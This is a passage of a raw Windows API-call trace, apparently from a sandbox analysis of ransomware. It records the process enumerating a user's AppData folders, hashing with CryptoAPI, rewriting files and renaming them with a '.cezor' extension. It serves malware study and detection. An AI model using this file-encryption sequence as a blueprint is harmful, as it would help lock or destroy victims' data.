ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.248] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.248] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.248] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.248] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.248] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0062.248] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0062.249] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0062.249] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0062.249] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.249] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.249] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.249] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.249] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.249] PathFindFileNameW (pszPath="") returned="" [0062.249] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.250] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.251] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="all", cAlternateFileName="")) returned 1 [0062.251] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brt", cAlternateFileName="")) returned 1 [0062.251] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brz", cAlternateFileName="")) returned 1 [0062.251] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dan", cAlternateFileName="")) returned 1 [0062.251] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dut", cAlternateFileName="")) returned 1 [0062.251] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eng", cAlternateFileName="")) returned 1 [0062.251] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="frn", cAlternateFileName="")) returned 1 [0062.251] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="grm", cAlternateFileName="")) returned 1 [0062.251] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="itl", cAlternateFileName="")) returned 1 [0062.251] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nrw", cAlternateFileName="")) returned 1 [0062.251] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="prt", cAlternateFileName="")) returned 1 [0062.251] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="spn", cAlternateFileName="")) returned 1 [0062.251] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 1 [0062.251] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 0 [0062.251] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.252] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.252] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.252] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\") returned="36USA68T\\" [0062.252] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0062.252] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0062.252] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0062.252] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.252] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.252] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.252] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.253] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.253] PathFindFileNameW (pszPath="") returned="" [0062.253] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.253] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.253] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 1 [0062.253] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml") returned=".xml" [0062.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.253] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=13) returned 1 [0062.253] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.256] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.256] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xd, lpOverlapped=0x0) returned 1 [0062.257] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.257] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.257] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.257] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.257] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.257] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.257] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.257] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.257] GetLastError () returned 0x0 [0062.257] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.258] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.258] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.258] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.258] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.258] CloseHandle (hObject=0x5c4) returned 1 [0062.259] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.cezor")) returned 1 [0062.260] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 0 [0062.260] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.260] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.260] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.260] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\") returned="3O75JDME\\" [0062.260] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0062.260] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0062.260] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0062.260] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.260] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.260] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.260] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.260] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.260] PathFindFileNameW (pszPath="") returned="" [0062.261] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.262] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.262] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 1 [0062.262] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml") returned=".xml" [0062.262] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.263] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=13) returned 1 [0062.263] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.266] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.266] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xd, lpOverlapped=0x0) returned 1 [0062.267] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.267] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.267] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.267] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.267] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.268] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.268] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.268] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.268] GetLastError () returned 0x0 [0062.268] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.268] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.268] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0062.268] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0062.268] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.268] WriteFile (in: hFile=0x5c4, lpBuffer=0x9aafb34*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x9aafb34*, lpNumberOfBytesWritten=0x9aafb24*=0x8, lpOverlapped=0x0) returned 1 [0062.268] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.268] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, 